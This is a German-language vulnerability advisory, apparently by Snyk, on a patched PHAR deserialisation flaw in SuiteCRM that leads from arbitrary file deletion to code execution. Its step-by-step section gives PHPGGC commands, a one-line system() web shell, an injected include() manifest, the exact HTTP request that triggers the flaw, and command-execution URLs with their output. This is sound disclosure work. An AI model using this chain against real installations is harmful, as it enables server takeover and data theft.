Skip to main content

SuiteCRM: PHAR-Deserialisierungs-Schwachstelle führt zu Codeausführung

Artikel von
Headshot of Sam Sanoop

Sam Sanoop

vulnerability assessment

7. Mai 2021

0 Min. Lesezeit

SuiteCRM ist eine kostenlose Open-Source-Anwendung für das Kundenbeziehungsmanagement auf Servern. Dieser Sicherheitshinweis beschreibt eine PHAR-Deserialisierungs-Schwachstelle in SuiteCRM, die ein authentifizierter Administrator ausnutzen kann, um Befehle auf dem zugrunde liegenden Betriebssystem auszuführen. Dieses Problem wurde in Version 7.11.19 behoben.

In PHP können PHAR-Dateien (PHP Archive) verwendet werden, um PHP-Anwendungen und -Bibliotheken in einer einzigen Archivdatei zu bündeln. Das PHAR-Format in PHP verwendet ein einzelnes Dateiformat, in dem sich mehrere PHP-Codes speichern und ausführen lassen. PHAR-Dateien enthalten Metadaten zu den Dateien im Archiv. In einer PHAR-Datei werden diese Metadaten in serialisierter Form gespeichert.

Wird über den phar://-Wrapper ein Dateivorgang für eine PHAR-Datei ausgeführt, werden deren Metadaten deserialisiert. So kann ein Angreifer durch das Hochladen einer PHAR-Datei PHP-Objektinjektionen durchführen, ohne die Funktion unserialize() zu verwenden. Bekanntheit erlangte diese Schwachstelle insbesondere, nachdem Sam Thomas seine Forschungsarbeit auf der BlackHat USA 2018 mit dem Titel It's a PHP Unserialization Vulnerability Jim, but Not as We Know It veröffentlicht hatte. Sie betraf mehrere Content-Management-Systeme. Für die Ausnutzung dieser Schwachstelle müssen zwei Bedingungen erfüllt sein:

  • Eine steuerbare PHP-Dateisystemfunktion wie file_exists, die die Funktion unserialize() aufruft

  • Die Möglichkeit, eine PHAR-Datei mit der Erweiterung .phar, .zip oder .jpeg auf das Zielsystem hochzuladen, sowie Kenntnis des Pfads zu dieser Datei

Technische Details zur PHAR-Deserialisierung

Ursache

Diese Schwachstelle umgeht die Sicherheitsmechanismen, die die SuiteCRM-Verantwortlichen im Rahmen der Behebung von CVE-2020-8801 implementiert haben. Wie im Sicherheitshinweis zu CVE-2020-8801 beschrieben, können mehrere Bereiche im SuiteCRM-Administratorbereich, darunter Backups, Import und UpgradeWizard, für eine PHAR-Deserialisierung verwendet werden. Die Verantwortlichen behoben dies in Version 7.11.13 mit dem Commit 571cbfa209da4c8280a5359f301115de25b4c6e3.

Code-Editor mit einer PHP-Bedingung, die prüft, ob ein Dateiname das Protokoll „phar://“ enthält, und in diesem Fall die Ausführung beendet.

Mit der Funktion strpos wird geprüft, ob ein Benutzerparameter die URI phar:// enthält. Da die Funktion strpos verwendet wird, unterscheidet diese Prüfung jedoch zwischen Groß- und Kleinschreibung. Daher lässt sich die Prüfung umgehen, indem Großbuchstaben verwendet und die PHAR-Deserialisierung durch den Aufruf PHAR:// ausgelöst wird.

Ein geeignetes Gadget finden

Die SuiteCRM-Patchmaßnahme für die PHAR-URI-Prüfung lässt sich zwar umgehen, doch die SuiteCRM-Verantwortlichen haben Vorkehrungen getroffen, damit Angreifer keine potenziell ausnutzbaren POP-Gadgets per Deserialisierung auslösen können. Dazu wurde Klassen, die als gefährlich eingestuft wurden, eine magische Methode __wakeup hinzugefügt. Diese Methode wird bei jeder Deserialisierung eines Objekts automatisch aufgerufen und sorgt dafür, dass alle Eigenschaften des Objekts während der Deserialisierung gelöscht werden. Ein Beispiel dafür sehen Sie unten.

PHP-Codeausschnitt mit einer __wakeup-Methode, die Objekteigenschaften löscht und eine Ausnahme „Not a serializable object“ auslöst.

In modules/Import/sources/ImportFile.php gibt es eine magische Methode __destruct, die missbraucht werden könnte, um durch unsichere Deserialisierung beliebige Dateien auf einem System zu löschen. Aufgrund der oben genannten Methode __wakeup kann ein Angreifer diese Methode __destruct jedoch nicht ausnutzen. Diese Prüfung findet sich in der gesamten SuiteCRM-Codebasis.

Bei genauerer Betrachtung der SuiteCRM-Abhängigkeiten ließ sich jedoch eine nutzbare Methode __destruct finden, mit der beliebige Dateien gelöscht werden können. SuiteCRM verwendet die Bibliothek zend-gdata, die wiederum von zf1/zend-http abhängig ist.

In der Datei Stream.php des Pakets zf1/zend-http gibt es eine Methode __destruct, die bei ihrem Aufruf die Funktion @unlink auf die Eigenschaft $stream_name eines Objekts anwendet. Mit der Funktion @unlink in dieser Methode lässt sich eine Datei löschen. Damit diese Funktion aufgerufen wird, muss für das betreffende Objekt außerdem eine Eigenschaft $_cleanup vorhanden sein. Den Code für diese Methode __destruct sehen Sie unten.

PHP-Codeausschnitt mit einer __destruct-Funktion, die einen Stream schließt und die zugehörige Datei löscht.

Dieses Gadget ist bereits bekannt und kann in der Bibliothek PHPGGC verwendet werden. PHPGGC ist eine Bibliothek mit Payloads für unserialize() sowie einem Skript, das anhand der vom Benutzer angegebenen Parameter einen POP-Gadget-Payload generiert.

Hinweis: Wenn bei einer SuiteCRM-Installation auch alle Entwicklungsabhängigkeiten installiert sind, kann anstelle von zf1/zend-http auch eine anfällige Version von PHP-CS-Fixer zum Löschen beliebiger Dateien ausgenutzt werden. Den Pull Request, der dieses POP-Gadget in PHPGGC integriert, finden Sie hier: https://github.com/ambionics/phpggc/pull/93.

Eine Upload-Funktion finden und ausnutzen

Der Sicherheitshinweis zu CVE-2020-8801 erläutert zwar die Parameter und Bereiche in SuiteCRM, die für die PHAR-Deserialisierung verwendet werden können, aber weder der Sicherheitshinweis noch der zugehörige Blogbeitrag des Forschers, der das Problem entdeckt hat, nennen die Stelle, an der sich eine PHAR-Datei hochladen lässt, oder welchen Pfad beziehungsweise Speicherort man ausnutzen könnte. Außerdem zeigte sich, dass alle in SuiteCRM hochgeladenen Dateien umbenannt werden, sodass sie keine Dateierweiterung mehr haben. Auch der Dateiname wird durch eine zufällige UUID ersetzt. So wird beispielsweise party-parrot.png, das als Teil eines Dokuments hochgeladen wurde, in 51eea769-ce13-40bb-fb25-60197bf855ae umbenannt.

SuiteCRM-Dokumentdetails für party-parrot.png über einem Terminalfenster mit hochgeladenen Dateien und Aktivitäten in der Befehlszeile

Bei einer weiteren Untersuchung aller SuiteCRM-Funktionen zeigte sich jedoch, dass ZIP-Dateien, die über den Module Loader hochgeladen werden, nicht diesem Verhalten unterliegen. Modul-ZIP-Dateien werden mit der Erweiterung .zip an einem beliebigen Speicherort abgelegt, den ein Angreifer erraten kann. Damit lassen sich die Voraussetzungen für eine PHAR-Deserialisierungs-Schwachstelle erfüllen. Ein Beispiel sehen Sie unten:

SuiteCRM Module Loader mit einem examplemodule.zip-Paket sowie den Schaltflächen „Paket installieren“ und „Paket löschen“

Die hochgeladene Datei examplemodule.zip wird am folgenden Speicherort abgelegt. Die Datei manifest.php selbst stammt aus dem Verzeichnis module.zip und ist ebenfalls am selben Speicherort verfügbar.

Terminal mit der Verzeichnisauflistung des Moduls und den Dateien exemplemodule-manifest.php und exemplemodule.zip.

Beliebige Dateien löschen

Da nun der Pfad einer hochgeladenen ZIP-Datei bekannt ist, ein Gadget zum Löschen von Dateien vorhanden ist und Funktionen zur Auslösung der PHAR-Deserialisierung verfügbar sind, lassen sich diese Bedingungen ausnutzen, um eine SuiteCRM-Installation anzugreifen.

Mit PHPGGC lässt sich beispielsweise wie folgt eine PHAR-Datei erstellen:

./phpggc -p zip -o /tmp/malicious.zip -f ZendFramework/FD1 /tmp/test.txt

Der obige Befehl erstellt eine PHAR-Datei im ZIP-Format mit dem Namen malicious.zip. Darin wird ein serialisierter Payload des zuvor erwähnten POP-Gadgets zf1/zend-http eingefügt. Außerdem wird die Eigenschaft $stream_name dieses serialisierten Objekts auf /tmp/test.txt gesetzt. Darüber hinaus kann die Option -f in PHPGGC sicherstellen, dass das serialisierte Objekt unmittelbar nach dem Aufruf von unserialize() zerstört wird. Dadurch wird der Payload zuverlässiger.

Hinweis: Damit die Anwendung diese ZIP-Datei akzeptiert, muss auch eine beispielhafte Datei manifest.php zum ZIP-Archiv hinzugefügt werden. Unter Linux geht das wie folgt:

zip -rv malicious.zip manifest.php

Nach dem Hochladen befindet sich diese Datei nun im Verzeichnis upload/upgrades/module.

Terminal mit einem Modulverzeichnis, das PHP- und ZIP-Dateien mit Beispiel- und bösartigen Manifesten enthält, rot umrandet.

Diese Datei lässt sich nun im Bereich Backups des SuiteCRM-Administratorbereichs auslösen.

Formular für SuiteCRM-Backup-Einstellungen mit einem Feld für den PHAR-Pfad, einem Dateinamenfeld und der Schaltfläche „Einstellungen bestätigen“

Von Dateilöschung zu Codeausführung

Durch das Löschen von Dateien lassen sich Quellcodedateien der Anwendung löschen und Denial-of-Service-Angriffe durchführen. Darüber hinaus ist es möglich, durch das Löschen einer .htaccess-Datei und den direkten Zugriff auf hochgeladene Dateien beliebigen Code in einer SuiteCRM-Installation auszuführen.

Die Datei .htaccess ist eine verteilte Konfigurationsdatei, über die Apache Konfigurationsänderungen für einzelne Verzeichnisse handhabt. Bei einer SuiteCRM-Installation verhindert diese Datei den direkten Zugriff auf Verzeichnisse wie /upload und /files. Mithilfe der PHAR-Deserialisierung kann diese Datei gelöscht werden. Außerdem kann die zuvor erwähnte Datei mainfest.php verwendet werden, um PHP-Code einzuschleusen und auszuführen.

Beim Hochladen eines Moduls über die Funktion Module Loader erwartet SuiteCRM auch eine Datei manifest.php. Ein Beispiel sehen Sie unten:

Dunkler Code-Editor mit einem PHP-Manifest, das ein schädliches Modul, unterstützte Sugar-Versionen und -Varianten, Metadaten und Installationspfade definiert.

Standardmäßig stellt SuiteCRM sicher, dass die hochgeladene Datei keine verdächtigen Funktionsaufrufe wie exec oder system enthält. Eine vollständige Liste der eingeschränkten Funktionsaufrufe finden Sie hier: Module Loader Restrictions

Bei dieser Prüfung wird die Funktion „include“ nicht berücksichtigt. Mit der Funktion include lassen sich in PHP Dateien einbinden (standardmäßig lokale Dateien), die dann als PHP-Code ausgeführt werden. Eine include-Funktion kann also in die Manifestdatei eingeschleust werden und einen Benutzerparameter übernehmen (include($_GET['p']);). Anschließend kann eine hochgeladene Datei (die von SuiteCRM umbenannt wird) mit schädlichem PHP-Code bereitgestellt werden, um Code auszuführen.

Zusammenfassung der PHAR-Deserialisierung

Zusammenfassend lässt sich die Ausführung von Code durch PHAR-Deserialisierung wie folgt erreichen:

1. Eine Datei in SuiteCRM hochladen

Laden Sie über die normale Speicherfunktion eine Datei in SuiteCRM hoch. In diesem Beispiel wird die folgende Datei als shell.php hochgeladen: <?php echo system($_GET["cmd"]); ?>

SuiteCRM-Dokumentdetailseite mit dem Dateinamen shell.php.txt und dem Dokumentnamen shell.php

Die Anwendung benennt die Datei in eb7cde01-6190-9ca9-b81b-601998504b41 um und speichert sie im Verzeichnis /var/www/html/uploads. Diese UID ist in der Datei-URL zu sehen:

http://suitecrm.local/index.php?entryPoint=download&id=eb7cde01-6190-9ca9-b81b-601998504b41&type=Documents

2. Eine ZIP-PHAR-Datei hochladen

Laden Sie ein ZIP-PHAR-Archiv hoch, das bei seiner Auslösung die Datei .htaccess löscht und eine manifest.php mit eingeschleustem PHP-Code enthält. Dazu können Sie PHPGGC wie folgt verwenden:

./phpggc -p zip -o /tmp/maliciousmodule.zip -f ZendFramework/FD1 /var/www/html/.htaccess

Der folgende Code kann anschließend in eine Datei manifest.php eingefügt und dann zum PHAR-ZIP-Archiv hinzugefügt werden.

Code-Editor mit hervorgehobener PHP-include-Anweisung, die einen GET-Parameter verwendet: include($_GET[123]);

Dieses ZIP-Archiv kann anschließend über die Module-Loader-Komponente auf das System hochgeladen werden.

3. Die PHAR-Deserialisierung auslösen

Lösen Sie die PHAR-Deserialisierung aus, indem Sie die Datei maliciousmodule.zip aufrufen. Der Bereich Backups kann zum Auslösen der PHAR-Deserialisierung verwendet werden. Die an die Anwendung gesendete HTTP-Anfrage sieht wie folgt aus:

POST /index.php?module=Administration&action=Backups HTTP/1.1
Host: suitecrm.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Origin: http://suitecrm.local
Connection: close
Referer: http://suitecrm.local/index.php?module=Administration&action=Backups
Cookie: sugar_user_theme=SuiteP; ck_login_id_20=1; ck_login_language_20=en_us; EmailGridWidths=0=10&1=10&2=150&3=250&4=175&5=125; PHPSESSID=6b8f472cd174d02167bc0a0c908ec9e0
Upgrade-Insecure-Requests: 1

backup_dir=PHAR%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fupload%2Fupgrades%2Fmodule%2Fmaliciousmodule.zip&backup_zip=s&run=confirm

4. Auf das Manifest maliciousmodule zugreifen

Greifen Sie auf die Manifestdatei malicousmodule zu, indem Sie zum Verzeichnispfad navigieren und die hochgeladene Datei shell.php.txt einbinden. Nachdem die Datei .htaccess gelöscht wurde, ist das Upload-Verzeichnis zugänglich. Die Datei malcioiusmodule-manifest.php ist nun unter folgender Adresse erreichbar:

http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php 

Nun kann ?123 angegeben und die Datei shell.php.txt bereitgestellt werden:

http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php?123=/var/www/html/upload/eb7cde01-6190-9ca9-b81b-601998504b41

Die eingebundene Datei shell.php.txt wird als Code interpretiert. Über den Parameter cmd kann ein Befehl angegeben werden, der anschließend vom System ausgeführt wird.

http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php?123=/var/www/html/upload/eb7cde01-6190-9ca9-b81b-601998504b41&cmd=id
Der Browser zeigt wiederholt Serverbenutzer- und Gruppeninformationen an: uid=33(www-data), gid=33(www-data), groups=33(www-data).

Fazit

Abschließend gilt: Bei der Validierung von Benutzereingaben sollten Sie darauf achten, dass Prüfungen nicht zwischen Groß- und Kleinschreibung unterscheiden. Wenn Sie außerdem Maßnahmen gegen Deserialisierungs-Gadgets ergreifen, sollten Sie auch transitive Abhängigkeiten berücksichtigen, da ein Projekt sie über das Autoloading-Feature von Composer lädt. Snyk Open Source unterstützt auch das Scannen von PHP und kann bekannte Bibliotheken erfassen und melden, deren Code Deserialisierungs-Gadgets entfernt hat.